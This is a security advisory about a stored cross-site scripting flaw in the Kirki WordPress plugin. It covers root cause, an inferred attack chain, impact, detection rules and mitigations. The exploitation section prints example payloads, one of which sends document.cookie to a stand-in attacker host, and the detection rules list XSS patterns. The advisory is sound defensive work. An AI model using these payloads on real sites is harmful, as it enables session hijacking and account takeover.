CVE-2026-102173

Executive Summary

CVE-2026-102173 is a stored cross-site scripting (XSS) vulnerability in the Kirki – Freeform Page Builder, Website Builder & Customizer WordPress plugin affecting all versions up to and including 6.3.1. The flaw originates from insufficient output escaping in ExceptionalElements::image_element(), which concatenates a user-supplied registration metadata value directly into an <img src="…"> attribute. Under specific configuration conditions — public user registration enabled and a published page containing a kirki-register element — an unauthenticated attacker can inject arbitrary JavaScript that executes in the browser of any user viewing a page that renders a Kirki users collection bound to one of the nine registration meta fields. With a CVSS base score of 7.2 (HIGH), the vulnerability poses a significant risk to WordPress sites using this plugin with open registration and dynamic user-listing pages.

Technical Analysis

The vulnerability is a classic stored XSS (CWE-79) that arises from improper neutralization of user-controlled input during web page generation. The NVD description attributes the root cause to ExceptionalElements::image_element(), a method within the Kirki plugin that constructs an <img> HTML element. The method concatenates a value retrieved from user metadata directly into the src attribute of the <img> tag without applying adequate escaping or sanitization.

WordPress stores arbitrary user-supplied data in its wp_usermeta table, and plugins can register custom meta fields — in this case, "registration meta fields" that are populated during user registration. When public user registration is enabled, an unauthenticated attacker can supply a crafted value for one of the nine registration meta fields. Because the plugin’s image_element() method later reads that stored meta value and injects it into the src attribute without escaping, the attacker’s payload becomes part of the HTML document served to victims.

The attack requires two specific site configurations:

1. Public user registration must be enabled — this allows the attacker to create a user account and control the metadata.
2. A published page must contain a kirki-register element — this element prints a required nonce into the public markup. The presence of the nonce indicates the page is intended to render dynamic content, and it enables the users collection rendering that ultimately calls image_element().

The specific escaping flaw is that image_element() does not use WordPress functions such as esc_url(), esc_attr(), or wp_kses() on the meta value before concatenating it into the src attribute. An attacker can break out of the attribute context by supplying a payload containing a double quote and an event handler (e.g., " onerror="alert(1)), which will execute when the image fails to load or when the browser processes the malformed tag. Because the payload is stored in the database, it persists and affects every user who views the vulnerable page — hence "stored" XSS.

The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) reflects that the attack is network-accessible, requires no privileges or user interaction, and can affect resources beyond the vulnerable component (scope change), with low confidentiality and integrity impact but no availability impact. The scope change (S:C) indicates that the injected script can execute in the context of the victim’s browser session, potentially impacting other site users, administrators, or the WordPress dashboard.

Exploitation Scenarios

No public PoC or exploit code is available for CVE-2026-102173. The following attack chain is inferred strictly from the vulnerability class and the details in the NVD description.

1. Reconnaissance / target identification — An attacker scans the web for WordPress sites running the Kirki plugin version 6.3.1 or earlier. Fingerprinting can be performed by requesting /wp-content/plugins/kirki/readme.txt or by detecting the kirki string in page source. The attacker then checks whether public user registration is enabled (e.g., by visiting /wp-login.php?action=register) and whether any published page contains a kirki-register element (detectable by searching the page source for kirki-register or related nonce fields).

2. Triggering the flaw — The attacker registers a new user account through the public registration form. During registration, the attacker supplies a malicious payload in one of the nine registration meta fields. The payload is designed to break out of the <img src="…"> attribute context, for example: " onerror="fetch('https://attacker.example/steal?c='+document.cookie). Because the plugin stores this value without sanitization, the payload is persisted in the WordPress database. No specific meta field names are disclosed in the NVD description; the attacker would need to enumerate the nine fields (likely visible in the registration form or via plugin source inspection).

3. Payload execution — When any user (including administrators) visits a page that renders a Kirki users collection whose image element is bound to the compromised meta field, the plugin’s image_element() method outputs the stored value inside an <img> tag. The browser parses the malformed attribute, triggering the JavaScript event handler (e.g., onerror). The script executes in the context of the victim’s session.

4. Post-exploitation impact — The injected script can perform actions such as stealing session cookies (if not HttpOnly), hijacking the victim’s authenticated session, performing actions on behalf of the victim (CSRF-like), defacing the page, redirecting users to malicious sites, or delivering further malware. Because the scope is changed (S:C), the impact extends beyond the vulnerable plugin to the entire WordPress site and its users, potentially including administrative users who view the users collection page.

Note: No public exploit code, Nuclei template, or PoC is available. The attack chain is derived from the vulnerability class and the configuration prerequisites explicitly stated in the NVD description.

Impact Assessment

The business impact of CVE-2026-102173 is significant for affected WordPress sites. With a CVSS base score of 7.2 (HIGH) and a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N, the vulnerability is remotely exploitable without authentication or user interaction, and it can affect resources beyond the vulnerable component (scope change).

• Confidentiality (C:L) — Low impact. An attacker can potentially read session tokens, cookies, or other data accessible to the victim’s browser session. The attacker does not gain direct access to the server’s filesystem or database via this flaw alone, but session hijacking may lead to broader access.
• Integrity (I:L) — Low impact. The attacker can modify the content rendered in the victim’s browser (e.g., inject forms, alter page content) and potentially perform actions as the victim through the web application.
• Availability (A:N) — No direct impact on availability.
• Scope (S:C) — Changed. The vulnerability in the plugin can affect the entire WordPress site, including administrative interfaces and other users.

Affected systems: Any WordPress installation running the Kirki plugin version 6.3.1 or earlier, with public user registration enabled and at least one published page containing a kirki-register element that renders a users collection bound to registration metadata. Sites that do not meet these configuration prerequisites are not exploitable.

Blast radius: All users who view the affected page — including administrators, editors, and regular visitors — are potential victims. The stored nature of the XSS means the payload persists until the malicious metadata is removed. If an administrator views the page, the attacker could escalate privileges or take over the site.

Detection Guidance

Sigma Rule

title: Stored XSS Attempt via Kirki Plugin Registration Metadata
id: 8f4a2b1c-3d5e-4f6a-9b7c-1e2d3f4a5b6c
status: experimental
description: Detects potential exploitation of CVE-2026-102173 by identifying XSS payloads in user registration metadata fields for the Kirki WordPress plugin.
author: Threat Intelligence Team
date: 2026-01-15
logsource:
  product: wordpress
  service: user_registration
detection:
  selection:
    event: user_registration
    meta_key|contains:
      - 'registration_meta'
      - 'kirki'
  keywords:
    - 'onerror='
    - 'onload='
    - '<script'
    - 'javascript:'
    - '"><img'
  condition: selection and keywords
falsepositives:
  - Legitimate users with unusual names containing angle brackets
level: high
tags:
  - attack.t1190
  - cve.2026.102173

YARA Rule

rule CVE_2026_102173_Kirki_Stored_XSS
{
    meta:
        description = "Detects stored XSS payloads targeting Kirki plugin registration metadata (CVE-2026-102173)"
        author = "Threat Intelligence Team"
        date = "2026-01-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-102173"
        severity = "high"
    strings:
        $xss1 = /onerror\s*=\s*["']?[^"']*alert\(/ nocase
        $xss2 = /onload\s*=\s*["']?[^"']*alert\(/ nocase
        $xss3 = /<script[^>]*>.*?<\/script>/ nocase
        $xss4 = /javascript:\s*[a-z]/ nocase
        $xss5 = /["']\s*>\s*<img[^>]*src\s*=/ nocase
        $kirki = "kirki-register" nocase
    condition:
        $kirki and any of ($xss*)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-102173 Kirki Plugin Stored XSS Attempt via Registration Metadata"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"wp-login.php"; content:"action=register"; http_client_body; content:"onerror"; nocase; http_client_body; content:"<script"; nocase; classtype:web-application-attack; reference:cve,2026-102173; sid:2026102173; rev:1;)

Elastic Detection

sequence by host.id, user.id with maxspan=5m
  [ network where process.name : "php" and network.direction : "outbound" and
    network.protocol : "http" and
    url.path : "/wp-login.php" and
    url.query : "*action=register*" ]
  [ file where file.name : "*.php" and
    file.path : "*wp-content/plugins/kirki*" and
    event.action : "modification" ]

Note: The Elastic EQL rule above is a behavioral approximation. A more precise detection would require parsing HTTP request bodies for XSS patterns in registration POST requests; the above sequence detects registration followed by plugin file modification, which is indicative of post-exploitation activity but may not catch the initial injection if no file modification occurs.

Splunk SPL Query

index=web sourcetype=access_combined
| search uri_path="/wp-login.php" method=POST
| rex field=form_data "(?<meta_value>[^&]+)"
| where match(meta_value, "(?i)(onerror|onload|<script|javascript:|onmouseover)")
| stats count values(meta_value) as payloads by src_ip, uri_path
| where count > 0

Wazuh OSSEC Rule

<group name="wordpress,cve-2026-102173,">
  <rule id="100173" level="12">
    <decoded_as>json</decoded_as>
    <field name="event">user_registration</field>
    <field name="meta_value" type="pcre2">(?i)(onerror|onload|<script|javascript:|onmouseover)</field>
    <description>CVE-2026-102173: Potential stored XSS payload in Kirki registration metadata from $(srcip)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>cve_2026_102173,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)). NVD indicates that a fix exists, but no specific patched version or vendor advisory reference is provided. The following guidance is based on best practices and the vulnerability class.

1. Immediate mitigations:

   • Disable public user registration if it is not essential. This removes the primary attack vector.
   • If registration is required, restrict new user accounts to a trusted group or require administrative approval.
   • Unpublish or remove any page containing a kirki-register element until the plugin is patched.
   • Apply a Web Application Firewall (WAF) rule to block XSS payloads in registration POST requests (e.g., detecting onerror, <script, javascript: in form fields).
   • Use a security plugin to add output escaping or sanitization on user meta fields.

2. Patch/upgrade steps:

   • Monitor the official Kirki plugin page on WordPress.org for a security release addressing CVE-2026-102173. Since no patched version is specified, assume all versions up to and including 6.3.1 are vulnerable.
   • Once a patch is available, update the plugin to the latest version via the WordPress admin dashboard or WP-CLI (wp plugin update kirki).
   • If no patch is released, consider disabling the plugin and replacing it with an alternative page builder.

3. Long-term hardening:

   • Implement a Web Application Firewall with virtual patching capabilities for known WordPress plugin vulnerabilities.
   • Enforce the principle of least privilege for user registration roles.
   • Conduct regular security audits of WordPress plugins and themes, focusing on output escaping and input sanitization.
   • Use a Content Security Policy (CSP) header to mitigate the impact of XSS even if a payload is injected.
   • Enable automatic updates for security patches where feasible, and subscribe to WordPress security mailing lists for timely notifications.

References

1. NVD – CVE-2026-102173: https://nvd.nist.gov/vuln/detail/CVE-2026-102173
2. MITRE CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): https://cwe.mitre.org/data/definitions/79.html
3. WordPress Plugin Directory – Kirki: https://wordpress.org/plugins/kirki/
4. OWASP – Stored Cross Site Scripting: https://owasp.org/www-community/attacks/xss/
5. CISA Known Exploited Vulnerabilities Catalog (not listed as of report date): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

No threat actor campaigns or exploit-in-the-wild evidence have been identified for this CVE at the time of writing.